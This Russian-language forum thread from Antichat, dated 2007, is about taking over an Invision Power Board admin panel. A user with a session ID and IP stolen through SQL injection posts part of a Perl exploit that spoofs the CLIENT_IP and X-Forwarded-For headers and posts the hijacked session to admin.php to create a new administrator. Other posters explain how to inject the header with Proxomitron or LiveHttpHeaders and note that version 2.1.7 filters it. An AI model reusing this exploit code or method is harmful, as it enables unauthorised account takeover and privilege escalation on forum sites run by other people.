Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Вручную подделать Client_ip на Ipb (https://forum.antichat.xyz/showthread.php?t=31892)

vmn 23.01.2007 04:06

Вручную подделать Client_ip на Ipb
 
Есть возможность через sql утащить сессию и session_ip админа. Есть ли возможность вручную войти в админку, используя эту уязвимость:
Код:

sub create_admin()
 {
 $InfoWindow=$mw->DialogBox(-title  => 'create new admin', -buttons => ["OK"]);
 if($session_id eq '' || $session_ip_address eq '')
  {
  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
  $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
  }
 elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
  {
  $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
  $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
  }
 else
  {
 $xpl = LWP::UserAgent->new( ) or die;
 ($url2 = $url) =~ s/index.php/admin.php/;
 $cf = '';
 %fields = (
 'code'    => 'doadd',
 'act'      => 'mem',
 'section'  => 'content',
 'name'    => $new_admin_name,
 'password' => $new_admin_password,
 'email'    => $new_admin_email,
 'mgroup'  => $group,     
          );
 if($use_custom_fields)
  {
  @cf = split(',',$custom_fields);
  foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
  }
 
 $res = $xpl->post($url2."?adsess=$session_id",
 [
 %fields,
 ],
 'USER_AGENT'=>'',
 'CLIENT_IP'=>"$session_ip_address",
 'X_FORWARDED_FOR'=>"$session_ip_address");
}
//Это кусок сплойта от RST

Собственно в CLIENT_IP нужно как-то вставить session_ip_address. Как это сделать вручную? Вроде как этот CLIENT_IP не является одним из полей get или post.

CtHuLhU 25.01.2007 21:17

через POST вроде так:

/index.php?CLIENT_IP[session_ip_address]=[sql]

_Great_ 25.01.2007 23:14

Цитата:

через POST вроде так:

/index.php?CLIENT_IP[session_ip_address]=[sql]
отжог. 5 баллов.

+toxa+ 25.01.2007 23:35

Цитата:

Сообщение от CtHuLhU
через POST вроде так:

/index.php?CLIENT_IP[session_ip_address]=[sql]

Знакомое до боли))

_Great_ 25.01.2007 23:44

+toxa+, где-то я это уже видел/слышал :))

vmn 26.01.2007 01:40

Цитата:

Сообщение от CtHuLhU
через POST вроде так:

/index.php?CLIENT_IP[session_ip_address]=[sql]

Это же вроде бы GET запрос, или я чего-то не понимаю?)

blackybr 26.01.2007 10:05

Просто в полный запрос добавить строчку CLIENT_IP .. да хоть с помощью, как сказал ettee, проксимитрона

vmn 26.01.2007 12:26

С заголовками разобрался, спасибо :) Проще всего наверное это делать в LiveHttpHeaders.
В 2.1.7 подмена ip в админке тоже прокатит?

blackybr 26.01.2007 12:53

нет, в 217 фильтрация


Время: 16:39